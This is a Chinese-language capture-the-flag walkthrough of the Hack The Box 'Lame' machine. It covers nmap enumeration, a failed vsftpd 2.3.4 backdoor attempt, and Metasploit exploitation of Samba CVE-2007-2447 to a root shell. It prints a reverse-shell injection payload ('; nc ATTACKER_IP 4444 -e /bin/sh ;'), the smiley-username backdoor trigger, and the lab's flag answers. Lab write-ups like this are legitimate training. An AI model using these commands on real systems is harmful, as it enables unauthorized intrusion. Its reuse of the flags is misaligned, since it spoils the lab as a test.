目录
1. 环境搭建
靶机地址:https://app.hackthebox.com/machines/1
vpn:这个靶机需要选择 machines
加入靶机后,显示目标机器的 ip 地址如下:
2. Task List
2.1 Task 1
问题:Task 1:How many of the nmap top 1000 TCP ports are open on the remote host?
分析:
默认的 Nmap TCP 扫描会扫描指定机器上最常用的 1000 个端口。
执行命令:nmap -A -O 10.129.104.53
,从结果中可以看到 21,22,139,445 端口是开放的。
答案:4
2.2 Task 2
问题:Task 2:What version of VSFTPd is running on Lame?
分析:从上面扫描端口的结果中可以看到,21 端口开放的是 ftp 服务,版本是 vsftpd 2.3.4。
答案:2.3.4
2.3 Task 3
问题:Task 3:There is a famous backdoor in VSFTPd version 2.3.4, and a Metasploit module to exploit it. Does that exploit work here?
分析:
查询 vsftpd 2.3.4 相关的漏洞:search vsftpd 2.3.4
使用脚本:use 0
查看主要信息:show options
设置目标主机:set rhosts 10.10.10.3
目标端口就是21,不用修改。
执行:run
shell 没有成功。
再用另外一种方式确认一下:ftp 10.10.10.3
, 或者 nc 10.10.10.3 21
输入 user 带有笑脸:a:)
密码随便输入。然后确认一下 6200 端口是否开启:nmap -p 6200 10.10.10.3
如果开启了,再用 nc 连接 6200 端口:nc 10.10.10.3 6200
,就会以 root 身份成功登录。试了一下还是没开启。
答案:no
2.4 Task 4
问题:Task 4:What version of Samba is running on Lame? Give the numbers up to but not including “-Debian”.
分析:还是从一开始的 nmap 的扫描结果中可以看到,445 端口开放的 Samba 协议,3.0.20。
答案:3.0.20
2.5 Task 5
问题:Task 5:What 2007 CVE allows for remote code execution in this version of Samba via shell metacharacters involving the SamrChangePassword
function when the “username map script” option is enabled in smb.conf
?
答案:CVE-2007-2447
补充:关于这个漏洞:
- CVE-2007-2447 是一个存在于 Samba 中的远程代码执行漏洞。
- 漏洞点在于
SamrChangePassword
函数,当smb.conf
配置文件中启用了username map script
选项时,攻击者可以通过精心构造的用户名,注入 shell 元字符(比如;
,&&
等),最终导致远程命令执行。 - 适用的 Samba 版本一般是 3.0.0 到 3.0.24。
- 示例:
smbclient -L \\TARGET_IP -U "; nc ATTACKER_IP 4444 -e /bin/sh ;”
smbclient
:是 Samba 的客户端工具。L \\TARGET_IP
:是列出共享。U "payload"
:传的是用户名。- 这里的用户名是
"; nc ATTACKER_IP 4444 -e /bin/sh ;"
,里面的;
是 shell 元字符,后面跟着我们的反弹 shell 命令。 ATTACKER_IP
是你自己的攻击机 IP,4444
是监听的端口。所以攻击前,要在自己的机器上监听 4444 端口。nc -lvnp 4444
。如果成功了,目标机器会给一个shell。
- 这里的用户名是
2.6 Task 6
问题:Task 6:Exploiting CVE-2007-2447 returns a shell as which user?
分析:
这个问题问的是利用 CVE-2007-2447 攻击靶机,拿到的是什么用户的shell。
先查询 tun0 VPN 地址:ip addr show tun0
(因为使用的是这个接口跟目标靶机进行连接。)
启动 MSF:msfconsole
查询相关漏洞:search CVE-2007-2447
利用该漏洞:
use 0
show options
set RHOSTS 10.10.10.3
set LHOST 10.10.16.43 (这里设置的源IP地址应该是 tun0 VPN地址,而不是你本地的内网地址)
查询当前用户:id
答案:root
2.7 Task 7
问题:Task 7:Submit the flag located in the makis user’s home directory.
分析:
普通用户,比如 user1,home 目录一般是 /home/user1
。
root用户的 home 目录是 /root
。
这里问的是 makis 用户的,所以是 /home/makis。
在返回的shell中执行命令:
cd /home/makis
ls
cat user.txt
答案:1405047eadc5527496016d5cd71457dc
2.8 Task 8
问题:Task 8:Submit the flag located in root’s home directory.
分析:这个问题跟上面的差不多,是root用户的家目录。
在shell中执行下面的命令:
cd /root
ls
cat root.txt
答案:fbcc9e0805ee4fc2751f59da193d2f1a
2.9 Task 9
问题:Task 9:We’ll explore a bit beyond just getting a root shell on the box. While the official writeup doesn’t cover this, you can look at 0xdf’s write-up( https://0xdf.gitlab.io/2020/04/07/htb-lame.html#beyond-root—vsftpd )for more details. With a root shell, we can look at why the VSFTPd exploit failed. Our initial nmap scan showed four open TCP ports. Running netstat -tnlp shows many more ports listening, including ones on 0.0.0.0 and the boxes external IP, so they should be accessible. What must be blocking connection to these ports?
我们将探索一些,而不仅仅是在盒子上获取根 shell。虽然官方文章没有涵盖这一点,但您可以查看 0xdf 的文章了解更多详情。有了 root shell,我们就可以看看 VSFTPd 漏洞利用失败的原因。我们最初的 nmap 扫描显示四个打开的 TCP 端口。运行 netstat -tnlp 会显示更多的端口正在侦听,包括 0.0.0.0 上的端口和盒子外部 IP,因此它们应该可以访问。一定是什么阻止了与这些端口的连接?
分析:
根据上面提到的这个人的 write-up 来一起分析一下。
首先获取一个交互式shell,在 MSF 反弹的shell中:python -c 'import pty; pty.spawn("/bin/bash")’
可以看到当前是root用户:
执行命令:netstat -tnlp
,在shell中扫描端口,可以看到更多开放的端口:
一开始在kali中远程扫描的时候,只显示四个开放的 TCP 端口:FTP (21)、SSH (22)、Samba (139、445) 和 3632 上的某个端口。所以考虑是防火墙导致的。
这意味着,如果后门被触发,并开始监听 6200 端口,那我的 kali 主机也是无法访问 6200 端口的。
为了演示方便,先切换到 makis 用户中:su - makis -c bash
然后在shell中连接6200 端口:nc 127.0.0.1 6200
发现是无法连接的:
在kali中另起一个终端,来触发这个后门:ftp 10.10.10.3
输入用户名:user:)
密码:随便输入
此时应该触发了后门。
再回到shell中,连接靶机的 6200端口:nc 127.0.0.1 6200
可以看到监听成功了,执行命令:id
,返回了执行结果,说明
答案:firewall
2.10 Task 10
问题:Task 10:When the VSFTPd backdoor is trigger, what port starts listening?
答案:6200
2.11 Task 11
问题:Task 11:When the VSFTPd backdoor is triggered, does port 6200 start listening on Lame?
答案:yes